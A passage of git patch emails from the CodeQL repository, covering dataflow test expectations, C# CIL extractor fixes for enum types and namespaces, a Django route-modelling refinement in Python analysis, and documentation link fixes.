for Str | test.py:556:10:556:13 | ControlFlowNode for Subscript | Flow found | +| test.py:556:10:556:13 | ControlFlowNode for Subscript | test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:556:10:556:13 | ControlFlowNode for Subscript | Flow found | +| test.py:556:10:556:13 | ControlFlowNode for Subscript | test.py:552:18:552:23 | ControlFlowNode for SOURCE | test.py:556:10:556:13 | ControlFlowNode for Subscript | Flow found | +| test.py:566:10:566:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:566:10:566:11 | ControlFlowNode for a1 | Flow found | +| test.py:566:10:566:11 | ControlFlowNode for a1 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:566:10:566:11 | ControlFlowNode for a1 | Flow found | +| test.py:566:10:566:11 | ControlFlowNode for a1 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:566:10:566:11 | ControlFlowNode for a1 | Flow found | +| test.py:566:10:566:11 | ControlFlowNode for a1 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:566:10:566:11 | ControlFlowNode for a1 | Flow found | +| test.py:567:12:567:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:567:12:567:13 | ControlFlowNode for a2 | Flow found | +| test.py:567:12:567:13 | ControlFlowNode for a2 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:567:12:567:13 | ControlFlowNode for a2 | Flow found | +| test.py:567:12:567:13 | ControlFlowNode for a2 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:567:12:567:13 | ControlFlowNode for a2 | Flow found | +| test.py:567:12:567:13 | ControlFlowNode for a2 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:567:12:567:13 | ControlFlowNode for a2 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:568:10:568:11 | ControlFlowNode for a3 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a3 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a3 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a3 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a3 | Flow found | +| test.py:568:10:568:11 | ControlFlowNode for a3 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:568:10:568:11 | ControlFlowNode for a3 | Flow found | +| test.py:574:10:574:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:574:10:574:11 | ControlFlowNode for a1 | Flow found | +| test.py:574:10:574:11 | ControlFlowNode for a1 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:574:10:574:11 | ControlFlowNode for a1 | Flow found | +| test.py:574:10:574:11 | ControlFlowNode for a1 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:574:10:574:11 | ControlFlowNode for a1 | Flow found | +| test.py:574:10:574:11 | ControlFlowNode for a1 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:574:10:574:11 | ControlFlowNode for a1 | Flow found | +| test.py:575:12:575:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:575:12:575:13 | ControlFlowNode for a2 | Flow found | +| test.py:575:12:575:13 | ControlFlowNode for a2 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:575:12:575:13 | ControlFlowNode for a2 | Flow found | +| test.py:575:12:575:13 | ControlFlowNode for a2 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:575:12:575:13 | ControlFlowNode for a2 | Flow found | +| test.py:575:12:575:13 | ControlFlowNode for a2 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:575:12:575:13 | ControlFlowNode for a2 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:576:10:576:11 | ControlFlowNode for a3 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a3 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a3 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a3 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a3 | Flow found | +| test.py:576:10:576:11 | ControlFlowNode for a3 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:576:10:576:11 | ControlFlowNode for a3 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:562:12:562:17 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:562:31:562:36 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:594:10:594:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:594:10:594:11 | ControlFlowNode for a1 | Flow found | +| test.py:594:10:594:11 | ControlFlowNode for a1 | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:594:10:594:11 | ControlFlowNode for a1 | Flow found | +| test.py:596:12:596:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:596:12:596:16 | ControlFlowNode for Subscript | Flow found | +| test.py:596:12:596:16 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:596:12:596:16 | ControlFlowNode for Subscript | Flow found | +| test.py:597:10:597:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:14 | ControlFlowNode for Subscript | Flow found | +| test.py:597:10:597:14 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:597:10:597:14 | ControlFlowNode for Subscript | Flow found | +| test.py:603:10:603:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:603:10:603:11 | ControlFlowNode for a1 | Flow found | +| test.py:603:10:603:11 | ControlFlowNode for a1 | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:603:10:603:11 | ControlFlowNode for a1 | Flow found | +| test.py:605:12:605:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:605:12:605:16 | ControlFlowNode for Subscript | Flow found | +| test.py:605:12:605:16 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:605:12:605:16 | ControlFlowNode for Subscript | Flow found | +| test.py:605:12:605:16 | ControlFlowNode for Subscript | test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:605:12:605:16 | ControlFlowNode for Subscript | Flow found | +| test.py:606:10:606:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:14 | ControlFlowNode for Subscript | Flow found | +| test.py:606:10:606:14 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:606:10:606:14 | ControlFlowNode for Subscript | Flow found | +| test.py:606:10:606:14 | ControlFlowNode for Subscript | test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:606:10:606:14 | ControlFlowNode for Subscript | Flow found | +| test.py:612:10:612:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:612:10:612:11 | ControlFlowNode for a1 | Flow found | +| test.py:612:10:612:11 | ControlFlowNode for a1 | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:612:10:612:11 | ControlFlowNode for a1 | Flow found | +| test.py:614:12:614:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:614:12:614:16 | ControlFlowNode for Subscript | Flow found | +| test.py:614:12:614:16 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:614:12:614:16 | ControlFlowNode for Subscript | Flow found | +| test.py:614:12:614:16 | ControlFlowNode for Subscript | test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:614:12:614:16 | ControlFlowNode for Subscript | Flow found | +| test.py:615:10:615:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:14 | ControlFlowNode for Subscript | Flow found | +| test.py:615:10:615:14 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:615:10:615:14 | ControlFlowNode for Subscript | Flow found | +| test.py:615:10:615:14 | ControlFlowNode for Subscript | test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:615:10:615:14 | ControlFlowNode for Subscript | Flow found | +| test.py:621:10:621:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:621:10:621:11 | ControlFlowNode for a1 | Flow found | +| test.py:621:10:621:11 | ControlFlowNode for a1 | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:621:10:621:11 | ControlFlowNode for a1 | Flow found | +| test.py:623:12:623:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:623:12:623:16 | ControlFlowNode for Subscript | Flow found | +| test.py:623:12:623:16 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:623:12:623:16 | ControlFlowNode for Subscript | Flow found | +| test.py:624:10:624:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:624:10:624:14 | ControlFlowNode for Subscript | Flow found | +| test.py:624:10:624:14 | ControlFlowNode for Subscript | test.py:590:12:590:17 | ControlFlowNode for SOURCE | test.py:624:10:624:14 | ControlFlowNode for Subscript | Flow found | +| test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | test.py:715:16:715:21 | ControlFlowNode for SOURCE | test.py:718:10:718:36 | ControlFlowNode for return_from_inner_scope() | Flow found | From 1b285ee792a2ab26f09ce0a5d6e039d1e882f074 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 18 Jan 2021 10:27:59 +0100 Subject: [PATCH 0673/1241] C#: Hardcode well-known underlying enum types --- .../Entities/CustomAttributeDecoder.cs | 15 +++++++++++++++ .../cil/attributes/attribute.expected | 16 +++++++++------- 2 files changed, 24 insertions(+), 7 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs index caf6a3287de..94d6cc0ab6d 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs @@ -1,4 +1,5 @@ using System; +using System.Collections.Generic; using System.Reflection.Metadata; namespace Semmle.Extraction.CIL.Entities @@ -36,12 +37,26 @@ namespace Semmle.Extraction.CIL.Entities } var name = type.GetQualifiedName(); + + if (wellKnownEnums.TryGetValue(name, out var code)) + { + cx.Cx.Extractor.Logger.Log(Util.Logging.Severity.Debug, $"Using hard coded underlying enum type for {name}"); + return code; + } + cx.Cx.Extractor.Logger.Log(Util.Logging.Severity.Info, $"Couldn't get underlying enum type for {name}"); // We can't fall back to Int32, because the type returned here defines how many bytes are read from the // stream and how those bytes are interpreted. throw new NotImplementedException(); } + public bool IsSystemType(Type type) => type.GetQualifiedName() == "System.Type"; + + private static readonly Dictionary<string, PrimitiveTypeCode> wellKnownEnums = new Dictionary<string, PrimitiveTypeCode> + { + { "System.AttributeTargets", PrimitiveTypeCode.Int32 }, + { "System.ComponentModel.EditorBrowsableState", PrimitiveTypeCode.Int32 } + }; } } diff --git a/csharp/ql/test/library-tests/cil/attributes/attribute.expected b/csharp/ql/test/library-tests/cil/attributes/attribute.expected index 557b97259d2..6ec0b072ec8 100644 --- a/csharp/ql/test/library-tests/cil/attributes/attribute.expected +++ b/csharp/ql/test/library-tests/cil/attributes/attribute.expected @@ -406,7 +406,6 @@ attrNoArg | System.Resources.ResourceReader.<>c | [CompilerGeneratedAttribute(...)] | | System.Resources.ResourceReader.<>c__DisplayClass49_0`1 | [CompilerGeneratedAttribute(...)] | | System.Resources.SatelliteContractVersionAttribute.<Version>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.AssemblyTargetedPatchBandAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.AssemblyTargetedPatchBandAttribute.<TargetedPatchBand>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.AccessedThroughPropertyAttribute.<PropertyName>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.AsyncMethodBuilderAttribute.<BuilderType>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -431,7 +430,6 @@ attrNoArg | System.Runtime.CompilerServices.DefaultDependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.DependencyAttribute.<DependentAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.DependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | -| System.Runtime.CompilerServices.EnumeratorCancellationAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.FixedBufferAttribute.<ElementType>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.FixedBufferAttribute.<Length>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.InternalsVisibleToAttribute.<AllInternalsVisible>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -439,13 +437,10 @@ attrNoArg | System.Runtime.CompilerServices.JitHelpers | [ExtensionAttribute(...)] | | System.Runtime.CompilerServices.MethodImplAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.MethodImplOptions | [FlagsAttribute(...)] | -| System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.NullableAttribute | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.NullableAttribute | [EmbeddedAttribute(...)] | -| System.Runtime.CompilerServices.NullableContextAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.NullableContextAttribute | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.NullableContextAttribute | [EmbeddedAttribute(...)] | -| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [CompilerGeneratedAttribute(...)] | | System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [EmbeddedAttribute(...)] | | System.Runtime.CompilerServices.ReferenceAssemblyAttribute.<Description>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -463,7 +458,6 @@ attrNoArg | System.Runtime.CompilerServices.YieldAwaitable | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter | [IsReadOnlyAttribute(...)] | | System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter.<>c | [CompilerGeneratedAttribute(...)] | -| System.Runtime.ConstrainedExecution.PrePrepareMethodAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<Cer>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<ConsistencyGuarantee>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs.<Exception>k__BackingField | [CompilerGeneratedAttribute(...)] | @@ -565,7 +559,6 @@ attrNoArg | System.Runtime.Serialization.SerializationInfo.<IsFullTypeNameSetExplicit>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.Runtime.Serialization.StreamingContext | [IsReadOnlyAttribute(...)] | | System.Runtime.Serialization.StreamingContextStates | [FlagsAttribute(...)] | -| System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | | System.Runtime.TargetedPatchingOptOutAttribute.<Reason>k__BackingField | [CompilerGeneratedAttribute(...)] | | System.RuntimeArgumentHandle | [IsByRefLikeAttribute(...)] | | System.RuntimeType.RuntimeTypeCache.Filter | [IsReadOnlyAttribute(...)] | @@ -805,6 +798,7 @@ attrArgNamed | System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Resources.NeutralResourcesLanguageAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | | System.Resources.SatelliteContractVersionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.AssemblyTargetedPatchBandAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | | System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | @@ -823,6 +817,7 @@ attrArgNamed | System.Runtime.CompilerServices.DependencyAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | | System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | | System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.CompilerServices.EnumeratorCancellationAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.CompilerServices.IndexerNameAttribute | [AttributeUsageAttribute(...)] | Inherited | True | | System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | @@ -850,6 +845,7 @@ attrArgNamed | System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | True | | System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.ConstrainedExecution.PrePrepareMethodAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | | System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | Inherited | False | @@ -887,6 +883,8 @@ attrArgNamed | System.Runtime.Serialization.OnSerializedAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.Serialization.OnSerializingAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.Serialization.OptionalFieldAttribute | [AttributeUsageAttribute(...)] | Inherited | False | +| System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | +| System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | | System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | Inherited | False | | System.Runtime.Versioning.TargetFrameworkAttribute | [AttributeUsageAttribute(...)] | AllowMultiple | False | @@ -1910,6 +1908,7 @@ attrArgPositional | System.Runtime.AmbiguousImplementationException | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.AmbiguousImplementationException | [NullableContextAttribute(...)] | 0 | 2 | | System.Runtime.AmbiguousImplementationException | [TypeForwardedFromAttribute(...)] | 0 | System.Runtime, Version=4.2.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | +| System.Runtime.AssemblyTargetedPatchBandAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | | System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.AssemblyTargetedPatchBandAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | @@ -1959,6 +1958,7 @@ attrArgPositional | System.Runtime.CompilerServices.DependencyAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.DependencyAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.EnumeratorCancellationAttribute | [AttributeUsageAttribute(...)] | 0 | 2048 | | System.Runtime.CompilerServices.ExtensionAttribute | [AttributeUsageAttribute(...)] | 0 | 69 | | System.Runtime.CompilerServices.FixedAddressValueTypeAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | @@ -2014,6 +2014,7 @@ attrArgPositional | System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.CompilerServices.UnsafeValueTypeAttribute | [AttributeUsageAttribute(...)] | 0 | 8 | +| System.Runtime.ConstrainedExecution.PrePrepareMethodAttribute | [AttributeUsageAttribute(...)] | 0 | 96 | | System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | 0 | 1133 | | System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableContextAttribute(...)] | 0 | 1 | @@ -2246,6 +2247,7 @@ attrArgPositional | System.Runtime.Serialization.SerializationInfoEnumerator | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.Serialization.StreamingContext | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.Serialization.StreamingContext | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.TargetedPatchingOptOutAttribute | [AttributeUsageAttribute(...)] | 0 | 96 | | System.Runtime.TargetedPatchingOptOutAttribute | [NullableAttribute(...)] | 0 | 0 | | System.Runtime.TargetedPatchingOptOutAttribute | [NullableContextAttribute(...)] | 0 | 1 | | System.Runtime.Versioning.NonVersionableAttribute | [AttributeUsageAttribute(...)] | 0 | 108 | From d05d4e22ad20e190ba12959be757f9355ef7e390 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 18 Jan 2021 14:18:23 +0100 Subject: [PATCH 0674/1241] C#: Fix namespace extraction of NoMetadataHandleType --- .../Entities/NoMetadataHandleType.cs | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs index 54d2403e1e1..fde969d12b9 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs @@ -3,7 +3,6 @@ using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; -using Semmle.Util; namespace Semmle.Extraction.CIL.Entities { @@ -21,6 +20,7 @@ namespace Semmle.Extraction.CIL.Entities private readonly Type[]? thisTypeArguments; private readonly Type unboundGenericType; private readonly Type? containingType; + private readonly Namespace? containingNamespace; private readonly NamedTypeIdWriter idWriter; @@ -53,13 +53,20 @@ namespace Semmle.Extraction.CIL.Entities ? null : new NoMetadataHandleType(Cx, containerName); + containingNamespace = isContainerNamespace + ? containerName == Cx.GlobalNamespace.Name + ? Cx.GlobalNamespace + : containerName == Cx.SystemNamespace.Name + ? Cx.SystemNamespace + : new Namespace(Cx, containerName) + : null; + Populate(); } private void Populate() { - if (isContainerNamespace && - !ContainingNamespace!.IsGlobalNamespace) + if (isContainerNamespace) { Cx.Populate(ContainingNamespace); } @@ -100,11 +107,7 @@ namespace Semmle.Extraction.CIL.Entities public override string Name => GenericsHelper.GetNonGenericName(name); - public override Namespace? ContainingNamespace => isContainerNamespace - ? containerName == Cx.GlobalNamespace.Name - ? Cx.GlobalNamespace - : new Namespace(Cx, containerName) - : null; + public override Namespace? ContainingNamespace => containingNamespace; public override Type? ContainingType => containingType; From 8e5557eca37d9f28c4cddadca8d4a0478eaa5984 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 18 Jan 2021 16:15:19 +0100 Subject: [PATCH 0675/1241] Python: Avoid duplicated route-setup in django When using `django.conf.urls.url` with Django 2+ --- .../ql/src/semmle/python/frameworks/Django.qll | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 674aedec566..b7f2a0e12af 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1872,7 +1872,22 @@ private module Django { private class DjangoUrlsRePathCall extends DjangoRegexRouteSetup { override CallNode node; - DjangoUrlsRePathCall() { node.getFunction() = django::urls::re_path().asCfgNode() } + DjangoUrlsRePathCall() { + node.getFunction() = django::urls::re_path().asCfgNode() and + // `django.conf.urls.url` (which we support directly with + // `DjangoConfUrlsUrlCall`), is implemented in Django 2+ as backward compatibility + // using `django.urls.re_path`. See + // https://github.com/django/django/blob/stable/3.2.x/django/conf/urls/__init__.py#L22 + // Since we're still installing dependencies and analyzing their source code, + // without explicitly filtering out this call, we would be double-counting such + // route-setups :( One practical negative side effect of double-counting it, is + // that since we can't figure out the URL, we mark ANY parameter as being a + // routed-parameter, which can lead to FPs. + not exists(Module mod | + mod.getName() = "django.conf.urls.__init__" and + node.getEnclosingModule() = mod + ) + } override DataFlow::Node getUrlPatternArg() { result.asCfgNode() = [node.getArg(0), node.getArgByName("route")] From e9aa63b67094cc8a4fe53033b8b63380397b67e1 Mon Sep 17 00:00:00 2001 From: Marcono1234 <Marcono1234@users.noreply.github.com> Date: Mon, 18 Jan 2021 16:18:45 +0100 Subject: [PATCH 0676/1241] Fix broken links to QLDoc specification --- docs/qldoc-style-guide.md | 2 +- docs/query-metadata-style-guide.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/qldoc-style-guide.md b/docs/qldoc-style-guide.md index 79871ae8d9f..fde4d3ea2f8 100644 --- a/docs/qldoc-style-guide.md +++ b/docs/qldoc-style-guide.md @@ -6,7 +6,7 @@ Valid QL comments are known as QLDoc. This document describes the recommended st ### General requirements -1. Documentation must adhere to the [QLDoc specification](https://help.semmle.com/QL/ql-handbook/qldoc.html). +1. Documentation must adhere to the [QLDoc specification](https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#qldoc). 1. Documentation comments should be appropriate for users of the code. 1. Documentation for maintainers of the code must use normal comments. 1. Use `/** ... */` for documentation, even for single line comments. diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md index e029339c1af..21e5897e243 100644 --- a/docs/query-metadata-style-guide.md +++ b/docs/query-metadata-style-guide.md @@ -26,7 +26,7 @@ For examples of query files for the languages supported by CodeQL, visit the fol ## Metadata area -Query file metadata contains important information that defines the identifier and purpose of the query. The metadata is included as the content of a valid [QLDoc](https://help.semmle.com/QL/ql-handbook/qldoc.html) comment, on lines with leading whitespace followed by `*`, between an initial `/**` and a trailing `*/`. For example: +Query file metadata contains important information that defines the identifier and 